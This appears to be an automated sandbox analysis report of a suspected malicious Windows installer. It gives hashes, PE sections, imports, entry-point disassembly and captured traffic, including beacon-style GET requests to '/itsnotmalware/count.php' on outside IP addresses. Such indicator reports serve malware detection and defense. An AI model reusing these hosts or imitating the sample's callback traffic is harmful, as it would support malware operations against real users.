Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........................................................................9...........Rich............................PE..L....,?c.....................~......_.............@..........................`............@.....................................(....@.......................P..........8...............................@............................................text............................... ..`.rdata..dY.......Z..................@..@.data........ ......................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.996373599780453
TrID:	Win32 Executable (generic) a (10002005/4) 97.43% Win32 Executable PowerBASIC/Win 9.x (148305/79) 1.44% Inno Setup installer (109748/4) 1.07% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	file.exe
File size:	2576538
MD5:	ba5cb5cabbcefb36996bd213b8c1d284
SHA1:	80a62facd7b8d19817b6ee1d45036bf67953f61b
SHA256:	c360868055519b145bf9169b913787cd1f6533995e4d8a8556f94676a6129f96
SHA512:	bdb418eef9bd3ed6b4b313bed84fab396ee49ff1bc5aab53ed8ce2e893a753aacb80ec65e2e446be73c1de5943eac4911801245572363286493cbec3b4ecb5b9
SSDEEP:	49152:Z23hi36YDW7uVXa5eIrHGFqB/LyY529gnmIIr10KofC0vBA5hq:MxW6YD6Ga8IbqjgmIIhWf16Dq
TLSH:	72C533F6A7F49C74C471C6B41DBDC980AEA6BFB0122966A6F6DCC19F1D32044D88239D
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	a2a0b496b2caca72

Static PE Info

General

Entrypoint:	0x40991c
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	884310b1928934402ea6fec1dbd3cf5e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFCCh
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-24h], eax
call 00007F99EC725A3Fh
call 00007F99EC726C46h
call 00007F99EC728E71h
call 00007F99EC728EF8h
call 00007F99EC72B59Fh
call 00007F99EC72B706h
xor eax, eax
push ebp
push 00409FC6h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 00409F7Ch
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [0040C014h]
call 00007F99EC72C130h
call 00007F99EC72BCBBh
lea edx, dword ptr [ebp-10h]
xor eax, eax
call 00007F99EC729375h
mov edx, dword ptr [ebp-10h]
mov eax, 0040CDD4h
call 00007F99EC725AF0h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [0040CDD4h]
mov dl, 01h
mov eax, 0040719Ch
call 00007F99EC729BE0h
mov dword ptr [0040CDD8h], eax
xor edx, edx
push ebp
push 00409F5Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F99EC72C1A0h
mov dword ptr [0040CDE0h], eax
mov eax, dword ptr [0040CDE0h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F99EC72C2DAh
mov eax, dword ptr [0040CDE0h]
mov edx, 00000028h
call 00007F99EC729FE1h
mov edx, dword ptr [0040CDE0h]
cmp eax, dword ptr [edx+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd000	0x950	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11000	0x2800	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xf000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x9040	0x9200	False	0.610980308219178	data	6.5386448278888665	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0xb000	0x248	0x400	False	0.3046875	data	2.711035285634283	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xc000	0xe34	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xd000	0x950	0xa00	False	0.414453125	data	4.430733069799036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xe000	0x8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xf000	0x18	0x200	False	0.052734375	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x10000	0x8a4	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x11000	0x2800	0x2800	False	0.33251953125	data	4.4675433295468965	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x11354	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Dutch	Netherlands
RT_ICON	0x1147c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Dutch	Netherlands
RT_ICON	0x119e4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Dutch	Netherlands
RT_ICON	0x11ccc	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	Dutch	Netherlands
RT_STRING	0x12574	0x2f2	data
RT_STRING	0x12868	0x30c	data
RT_STRING	0x12b74	0x2ce	data
RT_STRING	0x12e44	0x68	data
RT_STRING	0x12eac	0xb4	data
RT_STRING	0x12f60	0xae	data
RT_RCDATA	0x13010	0x2c	data
RT_GROUP_ICON	0x1303c	0x3e	data	English	United States
RT_VERSION	0x1307c	0x3cc	data	English	United States
RT_MANIFEST	0x13448	0x383	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, WideCharToMultiByte, TlsSetValue, TlsGetValue, MultiByteToWideChar, GetModuleHandleA, GetLastError, GetCommandLineA, WriteFile, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetSystemTime, GetFileType, ExitProcess, CreateFileA, CloseHandle
user32.dll	MessageBoxA
oleaut32.dll	VariantChangeTypeEx, VariantCopyInd, VariantClear, SysStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA
kernel32.dll	WriteFile, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, Sleep, SizeofResource, SetLastError, SetFilePointer, SetErrorMode, SetEndOfFile, RemoveDirectoryA, ReadFile, LockResource, LoadResource, LoadLibraryA, IsDBCSLeadByte, GetWindowsDirectoryA, GetVersionExA, GetUserDefaultLangID, GetSystemInfo, GetSystemDefaultLCID, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeProcess, GetEnvironmentVariableA, GetCurrentProcess, GetCommandLineA, GetACP, InterlockedExchange, FormatMessageA, FindResourceA, DeleteFileA, CreateProcessA, CreateFileA, CreateDirectoryA, CloseHandle
user32.dll	TranslateMessage, SetWindowLongA, PeekMessageA, MsgWaitForMultipleObjects, MessageBoxA, LoadStringA, ExitWindowsEx, DispatchMessageA, DestroyWindow, CreateWindowExA, CallWindowProcA, CharPrevA
comctl32.dll	InitCommonControls
advapi32.dll	AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2022 14:17:14.940839052 CET	49699	80	192.168.2.6	45.139.105.171
Oct 31, 2022 14:17:14.965576887 CET	80	49699	45.139.105.171	192.168.2.6
Oct 31, 2022 14:17:14.965712070 CET	49699	80	192.168.2.6	45.139.105.171
Oct 31, 2022 14:17:14.969476938 CET	49699	80	192.168.2.6	45.139.105.171
Oct 31, 2022 14:17:14.993484020 CET	80	49699	45.139.105.171	192.168.2.6
Oct 31, 2022 14:17:16.575625896 CET	80	49699	45.139.105.171	192.168.2.6
Oct 31, 2022 14:17:16.575742960 CET	49699	80	192.168.2.6	45.139.105.171
Oct 31, 2022 14:17:17.068640947 CET	49699	80	192.168.2.6	45.139.105.171
Oct 31, 2022 14:17:17.092787027 CET	80	49699	45.139.105.171	192.168.2.6
Oct 31, 2022 14:17:18.536246061 CET	80	49699	45.139.105.171	192.168.2.6
Oct 31, 2022 14:17:18.536371946 CET	49699	80	192.168.2.6	45.139.105.171
Oct 31, 2022 14:17:18.585042953 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.609004974 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.609172106 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.609831095 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.633848906 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.634196043 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.634306908 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.654527903 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.678530931 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.678968906 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.678997993 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.679024935 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.679049015 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.679068089 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.679073095 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.679099083 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.679100990 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.679126978 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.679148912 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.679155111 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.679172993 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.679181099 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.679203987 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.679207087 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.679224968 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.679245949 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703057051 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703097105 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703121901 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703125954 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703147888 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703155041 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703157902 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703181028 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703201056 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703206062 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703219891 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703233004 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703238010 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703258038 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703264952 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703275919 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703293085 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703296900 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703311920 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703330994 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703336954 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703350067 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703366995 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703371048 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703385115 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703391075 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703403950 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703419924 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703422070 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.703438997 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.703455925 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.704304934 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.704329967 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727323055 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727369070 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727395058 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727420092 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727435112 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727451086 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727468967 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727479935 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727490902 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727509022 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727518082 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727535963 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727546930 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727561951 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727566004 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727588892 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727602959 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727613926 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727622032 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727639914 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727652073 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727664948 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727674961 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727691889 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727703094 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727718115 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727729082 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727744102 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727752924 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727770090 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727773905 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727796078 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727807045 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727821112 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727827072 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727845907 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727858067 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727870941 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727874994 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727897882 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727910995 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727924109 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727927923 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727950096 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727972031 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.727974892 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.727982044 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728002071 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728012085 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728028059 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728041887 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728055954 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728063107 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728081942 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728091002 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728108883 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728132963 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728133917 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728148937 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728159904 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728172064 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728187084 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728199005 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728213072 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728221893 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728239059 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728256941 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728266001 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728286028 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728291988 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728303909 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728318930 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728322983 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728346109 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728358030 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728372097 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.728383064 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.728410006 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.752238989 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.752273083 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.752296925 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.752320051 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:18.752420902 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.752458096 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:18.905550957 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:18.929617882 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:18.929790020 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:18.930911064 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:18.954818964 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:19.850228071 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:19.850330114 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:22.293817043 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:22.317771912 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:22.864605904 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:22.864801884 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:23.540091991 CET	80	49699	45.139.105.171	192.168.2.6
Oct 31, 2022 14:17:23.540227890 CET	49699	80	192.168.2.6	45.139.105.171
Oct 31, 2022 14:17:23.728935957 CET	80	49700	107.182.129.235	192.168.2.6
Oct 31, 2022 14:17:23.729124069 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:24.959558964 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:24.983350992 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:25.549472094 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:25.549580097 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:27.627589941 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:27.651539087 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:28.144742012 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:28.144889116 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:30.315901041 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:30.339968920 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:30.859983921 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:30.860152006 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:32.972939014 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:32.996895075 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:33.528526068 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:33.531575918 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:35.677289009 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:35.701622963 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:36.297446966 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:36.297584057 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:38.378695011 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:38.402729034 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:38.959870100 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:38.959994078 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:41.138602018 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:41.162659883 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:41.689835072 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:41.689948082 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:44.878555059 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:44.902822971 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:45.458594084 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:45.458950043 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:47.558216095 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:47.582226038 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:48.120137930 CET	80	49701	171.22.30.106	192.168.2.6
Oct 31, 2022 14:17:48.120421886 CET	49701	80	192.168.2.6	171.22.30.106
Oct 31, 2022 14:17:51.412739992 CET	49699	80	192.168.2.6	45.139.105.171
Oct 31, 2022 14:17:51.412810087 CET	49700	80	192.168.2.6	107.182.129.235
Oct 31, 2022 14:17:51.412986040 CET	49701	80	192.168.2.6	171.22.30.106

HTTP Request Dependency Graph

45.139.105.171

107.182.129.235

171.22.30.106

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49699	45.139.105.171	80	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 14:17:14.969476938 CET	9	OUT	GET /itsnotmalware/count.php?sub=NOSUB&stream=start&substream=mixinte HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 45.139.105.171 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:16.575625896 CET	9	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 31, 2022 14:17:17.068640947 CET	9	OUT	GET /itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 45.139.105.171 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2022 14:17:18.536246061 CET	10	IN	HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 13:17:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
